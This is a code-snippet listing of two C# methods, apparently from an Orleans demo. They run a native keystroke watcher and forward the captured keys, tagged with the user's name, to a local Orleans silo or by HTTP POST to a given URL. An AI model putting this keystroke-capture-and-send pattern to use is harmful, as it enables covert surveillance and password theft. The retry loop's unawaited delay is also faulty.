예제 #1
0
#pragma warning restore IDE0022 // Use expression body for methods

        private static void UseOrleansLocally()
        {
            Program.userName = Program.GetUserName();

            var config = ClientConfiguration.LocalhostSilo(30000);

            while (true)
            {
                try
                {
                    var client =
                        new ClientBuilder().UseConfiguration(config).Build();
                    client.Connect().GetAwaiter().GetResult();
                    break;
                }
                // TODO: Get Rocky to stop laughing at me.
                catch
                {
                    Task.Delay(TimeSpan.FromSeconds(1));
                }
            }

            GrainClient.Initialize(config);
            Console.Out.WriteLine("Begin...");

            using (var keyLogger = new BufferedEventedNativeKeyWatcher(Program.BufferSize))
            {
                keyLogger.KeysLogged += Program.OnKeysLogged;
                Application.Run();
            }
        }
예제 #2
0
        private static void UseOrleansViaWebApi(string url)
        {
            Console.Out.WriteLine("Begin...");
            var userName = Program.GetUserName();

            using (var keyLogger = new BufferedEventedNativeKeyWatcher(Program.BufferSize))
            {
                keyLogger.KeysLogged += (s, e) =>
                {
                    var message = JsonConvert.SerializeObject(
                        new UserKeysMessage(userName, e.Keys.ToArray()), Formatting.Indented);
                    var content = new StringContent(message,
                                                    Encoding.Unicode, "application/json");
                    var postResponse = new HttpClient().PostAsync(url, content);
                    postResponse.Wait();
                };

                Application.Run();
            }

            Console.ReadLine();
        }